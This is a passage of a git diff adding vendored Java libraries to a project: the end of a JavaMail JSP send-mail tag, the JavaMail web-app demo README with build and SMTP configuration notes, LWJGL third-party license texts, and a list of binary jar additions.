(cc != null) { + ccAddrs = InternetAddress.parse(cc, false); + msg.setRecipients(Message.RecipientType.CC, ccAddrs); + } + + if (subject != null) + msg.setSubject(subject); + + if ((body = getBodyContent().getString()) != null) + msg.setText(body); + else + msg.setText(""); + + Transport.send(msg); + + } catch (Exception ex) { + throw new JspException(ex.getMessage()); + } + + return(EVAL_PAGE); + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/webapp.README.txt b/src/Java/Jars/javamail-samples/javamail-samples/webapp/webapp.README.txt new file mode 100644 index 0000000..6a90697 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/webapp.README.txt @@ -0,0 +1,189 @@ +This demo illustrates the use of JavaMail APIs in a 3-tiered web +application. It must be deployed on a web server that supports +servlet and JSP-based web applications (e.g. Tomcat) using at least +J2SE 1.3 and Servlet 2.2. + + +-----------+ +-----------+ +-----------+ + | IMAP | | | | | + | Server |<-IMAP->| JavaMail |<-HTTP->| WWW | + +-----------+ | Web app |--HTML->| Browser | + | SMTP |<-SMTP->| | | | + | Server | | | | | + +-----------+ +-----------+ +-----------+ + + +The JavaMail Web application supports the following functionality: + * login to an IMAP server + * list all the messages in the INBOX folder + * view the selected message + * compose and send a message + +It is comprised of an HTML document and several Web components +(servlets, JSP pages and custom tags) and is packaged in a Web +archive with the following contents: + + index.html + login.jsp + folders.jsp + messageheaders.jsp + messagecontent.jsp + compose.jsp + send.jsp + errorpage.jsp + errordetails.jsp + logout.jsp + WEB-INF/ + WEB-INF/classes/ + WEB-INF/classes/demo/AttachmentServlet.class + WEB-INF/classes/demo/FilterServlet.class + WEB-INF/classes/demo/MailUserBean.class + WEB-INF/lib/ + WEB-INF/lib/jtl.jar + WEB-INF/web.xml + + + + + + + + + + + +The collection of .html and .jsp files provide the client-side view +of the JavaMail Web application. + + index.html + | + login.jsp + | + folders.jsp + | + messageheaders.jsp + | + / \ + / \ + compose.jsp messagecontent.jsp + | + send.jsp + + +The WEB-INF/web.xml file contains the web applications deployment +descriptor. It is an XML document that contains configuration and +deployment information for the application. + +As per the Servlet specification, the WEB-INF/classes directory +contains servlet and utility classes used by the web application. +The FilterServlet acts as the Controller of the JavaMail Web +application. All requests are mapped to this servlet. It checks +to see that the user is logged in to the server before forwarding the +request to the appropriate JSP page. The AttachmentServlet is used +to render non-text attachments and the MailUserBean is a utility class +used to maintain information about the mail user. + +The WEB-INF/lib directory (also defined in the Servlet specification) +contains the Java archive file for the javamail custom tag library. + +The follow tags are furnished in the javamail tag library: + + +body of the message + + +Description: Used to send messages. + + + + +Description: Used to read a single message. + + + + +Description: Used to iterate through list of messages. The body of the +tag is repeated for each message in the list. + + + + + + + + + + + +Building and Packaging the JavaMail Web application + +All source for this demo can be found in the following directories: + src/classes + src/docroot + src/taglib + +Build scripts (build.sh and build.bat) are provided for building and +packaging the demo. Before executing the build scripts, be sure that +the following are in your CLASSPATH: + mail.jar the JavaMail jar file + activation.jar the JAF jar file + servlet.jar the servlet/JSP jar file + +The following steps are performed when building and packaging the demo. + +1. Create a directory named "src/docroot/WEB-INF/classes/demo". + +2. Create a directory named "src/docroot/WEB-INF/lib". + +3. Compile the files from the "src/classes/demo" directory and add them + to "src/docroot/WEB-INF/classes/demo". + +4. Compile the files from the "src/tablib" directory. + +5. Create an archive (jtl.jar) of the taglib classes and add it + to "src/docroot/WEB-INF/lib". + +6. Create a web archive file of the contents of "src/docroot" (and all + of its sub-directories). + +(For a list of the contents of the resulting web archive, + see the beginning of this document.) + + + + + + + + + + + +A note on sending mail + +In order to send mail using the JavaMail Web App, it is necessary to identify +an SMTP host. This can be accomplished in a couple of ways. + +1. Use the TOMCAT_OPTS environment variable. + + Add the following to the TOMCAT_OPTS environment variable: + + -Dmail.smtp.host=yourSMTPmailservername + + Restart your web server. + + +2. Modify the send.jsp file and update the javamail.war file: + + Add the following parameter to the tag: + + host="yourSMTPmailservername" + + Repackage the javamail.war file to include the modified send.jsp file. diff --git a/src/Java/Jars/javax.mail.jar b/src/Java/Jars/javax.mail.jar new file mode 100644 index 0000000..dd06a6a Binary files /dev/null and b/src/Java/Jars/javax.mail.jar differ diff --git a/src/Java/Jars/jsoup.jar b/src/Java/Jars/jsoup.jar new file mode 100644 index 0000000..75f716b Binary files /dev/null and b/src/Java/Jars/jsoup.jar differ diff --git a/src/Java/Jars/jython-standalone-2.7.0.jar b/src/Java/Jars/jython-standalone-2.7.0.jar new file mode 100644 index 0000000..c494983 Binary files /dev/null and b/src/Java/Jars/jython-standalone-2.7.0.jar differ diff --git a/src/Java/Jars/lwjgl_jars/LICENSE b/src/Java/Jars/lwjgl_jars/LICENSE new file mode 100644 index 0000000..a983c18 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/LICENSE @@ -0,0 +1,29 @@ +Copyright (c) 2012-present Lightweight Java Game Library +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +- Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +- Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +- Neither the name Lightweight Java Game Library nor the names of + its contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/src/Java/Jars/lwjgl_jars/assimp_license.txt b/src/Java/Jars/lwjgl_jars/assimp_license.txt new file mode 100644 index 0000000..262606a --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/assimp_license.txt @@ -0,0 +1,78 @@ +Open Asset Import Library (assimp) + +Copyright (c) 2006-2016, assimp team +All rights reserved. + +Redistribution and use of this software in source and binary forms, +with or without modification, are permitted provided that the +following conditions are met: + +* Redistributions of source code must retain the above + copyright notice, this list of conditions and the + following disclaimer. + +* Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the + following disclaimer in the documentation and/or other + materials provided with the distribution. + +* Neither the name of the assimp team, nor the names of its + contributors may be used to endorse or promote products + derived from this software without specific prior + written permission of the assimp team. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + + +****************************************************************************** + +AN EXCEPTION applies to all files in the ./test/models-nonbsd folder. +These are 3d models for testing purposes, from various free sources +on the internet. They are - unless otherwise stated - copyright of +their respective creators, which may impose additional requirements +on the use of their work. For any of these models, see +.source.txt for more legal information. Contact us if you +are a copyright holder and believe that we credited you inproperly or +if you don't want your files to appear in the repository. + + +****************************************************************************** + +Poly2Tri Copyright (c) 2009-2010, Poly2Tri Contributors +http://code.google.com/p/poly2tri/ + +All rights reserved. +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +* Neither the name of Poly2Tri nor the names of its contributors may be + used to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/src/Java/Jars/lwjgl_jars/bgfx_license.txt b/src/Java/Jars/lwjgl_jars/bgfx_license.txt new file mode 100644 index 0000000..6877280 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/bgfx_license.txt @@ -0,0 +1,26 @@ +Copyright 2010-2016 Branimir Karadzic. All rights reserved. + +https://github.com/bkaradzic/bgfx + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY COPYRIGHT HOLDER ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT +SHALL COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE +OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED +OF THE POSSIBILITY OF SUCH DAMAGE. + +https://github.com/bkaradzic/bgfx/blob/master/LICENSE diff --git a/src/Java/Jars/lwjgl_jars/build.txt b/src/Java/Jars/lwjgl_jars/build.txt new file mode 100644 index 0000000..6c9da3c --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/build.txt @@ -0,0 +1 @@ +LWJGL 3.1.2 build 29 \ No newline at end of file diff --git a/src/Java/Jars/lwjgl_jars/dyncall_license.txt b/src/Java/Jars/lwjgl_jars/dyncall_license.txt new file mode 100644 index 0000000..6984164 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/dyncall_license.txt @@ -0,0 +1,14 @@ +Copyright (c) 2007-2015 Daniel Adler , + Tassilo Philipp + +Permission to use, copy, modify, and distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. \ No newline at end of file diff --git a/src/Java/Jars/lwjgl_jars/glfw_license.txt b/src/Java/Jars/lwjgl_jars/glfw_license.txt new file mode 100644 index 0000000..8a60e1d --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/glfw_license.txt @@ -0,0 +1,21 @@ +Copyright (c) 2002-2006 Marcus Geelnard +Copyright (c) 2006-2010 Camilla Berglund + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any damages +arising from the use of this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would + be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and must not + be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source + distribution. diff --git a/src/Java/Jars/lwjgl_jars/jemalloc_license.txt b/src/Java/Jars/lwjgl_jars/jemalloc_license.txt new file mode 100644 index 0000000..bda397d --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/jemalloc_license.txt @@ -0,0 +1,23 @@ +Copyright (C) 2002-2014 Jason Evans . +All rights reserved. +Copyright (C) 2007-2012 Mozilla Foundation. All rights reserved. +Copyright (C) 2009-2014 Facebook, Inc. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: +1. Redistributions of source code must retain the above copyright notice(s), + this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice(s), + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER(S) ``AS IS'' AND ANY EXPRESS +OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO +EVENT SHALL THE COPYRIGHT HOLDER(S) BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE +OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/src/Java/Jars/lwjgl_jars/khronos_license.txt b/src/Java/Jars/lwjgl_jars/khronos_license.txt new file mode 100644 index 0000000..d7e6e9d --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/khronos_license.txt @@ -0,0 +1,22 @@ +/* +** Copyright (c) 2013-2014 The Khronos Group Inc. +** +** Permission is hereby granted, free of charge, to any person obtaining a +** copy of this software and/or associated documentation files (the +** "Materials"), to deal in the Materials without restriction, including +** without limitation the rights to use, copy, modify, merge, publish, +** distribute, sublicense, and/or sell copies of the Materials, and to +** permit persons to whom the Materials are furnished to do so, subject to +** the following conditions: +** +** The above copyright notice and this permission notice shall be included +** in all copies or substantial portions of the Materials. +** +** THE MATERIALS ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +** EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +** MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +** IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +** CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +** TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +** MATERIALS OR THE USE OR OTHER DEALINGS IN THE MATERIALS. +*/ \ No newline at end of file diff --git a/src/Java/Jars/lwjgl_jars/lmdb_license.txt b/src/Java/Jars/lwjgl_jars/lmdb_license.txt new file mode 100644 index 0000000..6295703 --- /dev/null +++ b/src/Java/Jars/lwjgl_jars/lmdb_license.txt @@ -0,0 +1,47 @@ +The OpenLDAP Public License + Version 2.8, 17 August 2003 + +Redistribution and use of this software and associated documentation +("Software"), with or without modification, are permitted provided +that the following conditions are met: + +1. Redistributions in source form must retain copyright statements + and notices, + +2. Redistributions in binary form must reproduce applicable copyright + statements and notices, this list of conditions, and the following + disclaimer in the documentation and/or other materials provided + with the distribution, and + +3. Redistributions must contain a verbatim copy of this document. + +The OpenLDAP Foundation may revise this license from time to time. +Each revision is distinguished by a version number. You may use +this Software under terms of this license revision or under the +terms of any subsequent revision of the license. + +THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND ITS +CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT +SHALL THE OPENLDAP FOUNDATION, ITS CONTRIBUTORS, OR THE AUTHOR(S) +OR OWNER(S) OF THE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +The names of the authors and copyright holders must not be used in +advertising or otherwise to promote the sale, use or other dealing +in this Software without specific, written prior permission. Title +to copyright in this Software shall at all times remain with copyright +holders. + +OpenLDAP is a registered trademark of the OpenLDAP Foundation. + +Copyright 1999-2003 The OpenLDAP Foundation, Redwood City, +California, USA. All Rights Reserved. Permission to copy and +distribute verbatim copies of this document is granted. \ No newline at end of file diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-assimp-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-assimp-natives-linux.jar new file mode 100644 index 0000000..86ae99b Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-assimp-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-assimp-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-assimp-natives-macos.jar new file mode 100644 index 0000000..6f603c3 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-assimp-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-assimp-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-assimp-natives-windows.jar new file mode 100644 index 0000000..6343d03 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-assimp-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-assimp.jar b/src/Java/Jars/lwjgl_jars/lwjgl-assimp.jar new file mode 100644 index 0000000..226667b Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-assimp.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-bgfx-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-bgfx-natives-linux.jar new file mode 100644 index 0000000..ca9f4b9 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-bgfx-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-bgfx-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-bgfx-natives-macos.jar new file mode 100644 index 0000000..b334d53 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-bgfx-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-bgfx-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-bgfx-natives-windows.jar new file mode 100644 index 0000000..679bc1d Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-bgfx-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-bgfx.jar b/src/Java/Jars/lwjgl_jars/lwjgl-bgfx.jar new file mode 100644 index 0000000..0ef1619 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-bgfx.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-egl.jar b/src/Java/Jars/lwjgl_jars/lwjgl-egl.jar new file mode 100644 index 0000000..31a4ec8 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-egl.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-glfw-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-glfw-natives-linux.jar new file mode 100644 index 0000000..7cea641 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-glfw-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-glfw-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-glfw-natives-macos.jar new file mode 100644 index 0000000..01dfb42 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-glfw-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-glfw-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-glfw-natives-windows.jar new file mode 100644 index 0000000..2d46510 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-glfw-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-glfw.jar b/src/Java/Jars/lwjgl_jars/lwjgl-glfw.jar new file mode 100644 index 0000000..3421cce Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-glfw.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-jawt.jar b/src/Java/Jars/lwjgl_jars/lwjgl-jawt.jar new file mode 100644 index 0000000..ce40f73 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-jawt.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc-natives-linux.jar new file mode 100644 index 0000000..7eaf2f5 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc-natives-macos.jar new file mode 100644 index 0000000..c0e58d0 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc-natives-windows.jar new file mode 100644 index 0000000..f904996 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc.jar b/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc.jar new file mode 100644 index 0000000..d9d966e Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-jemalloc.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-lmdb-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-lmdb-natives-linux.jar new file mode 100644 index 0000000..b2cbaa4 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-lmdb-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-lmdb-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-lmdb-natives-macos.jar new file mode 100644 index 0000000..2fcc41c Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-lmdb-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-lmdb-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-lmdb-natives-windows.jar new file mode 100644 index 0000000..7d4d89b Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-lmdb-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-lmdb.jar b/src/Java/Jars/lwjgl_jars/lwjgl-lmdb.jar new file mode 100644 index 0000000..c08c844 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-lmdb.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nanovg-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nanovg-natives-linux.jar new file mode 100644 index 0000000..ebcef97 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nanovg-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nanovg-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nanovg-natives-macos.jar new file mode 100644 index 0000000..dd12eca Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nanovg-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nanovg-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nanovg-natives-windows.jar new file mode 100644 index 0000000..67bd1a7 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nanovg-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nanovg.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nanovg.jar new file mode 100644 index 0000000..2487f01 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nanovg.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-natives-linux.jar new file mode 100644 index 0000000..b998a38 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-natives-macos.jar new file mode 100644 index 0000000..415d254 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-natives-windows.jar new file mode 100644 index 0000000..82ae549 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nfd-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nfd-natives-linux.jar new file mode 100644 index 0000000..ac9415c Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nfd-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nfd-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nfd-natives-macos.jar new file mode 100644 index 0000000..8068a98 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nfd-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nfd-natives-windows.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nfd-natives-windows.jar new file mode 100644 index 0000000..30c6b57 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nfd-natives-windows.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nfd.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nfd.jar new file mode 100644 index 0000000..38b7dd8 Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nfd.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nuklear-natives-linux.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nuklear-natives-linux.jar new file mode 100644 index 0000000..dabe18c Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nuklear-natives-linux.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nuklear-natives-macos.jar b/src/Java/Jars/lwjgl_jars/lwjgl-nuklear-natives-macos.jar new file mode 100644 index 0000000..8f4167f Binary files /dev/null and b/src/Java/Jars/lwjgl_jars/lwjgl-nuklear-natives-macos.jar differ diff --git a/src/Java/Jars/lwjgl_jars/lwjgl-nuklear-natives-windows.jar 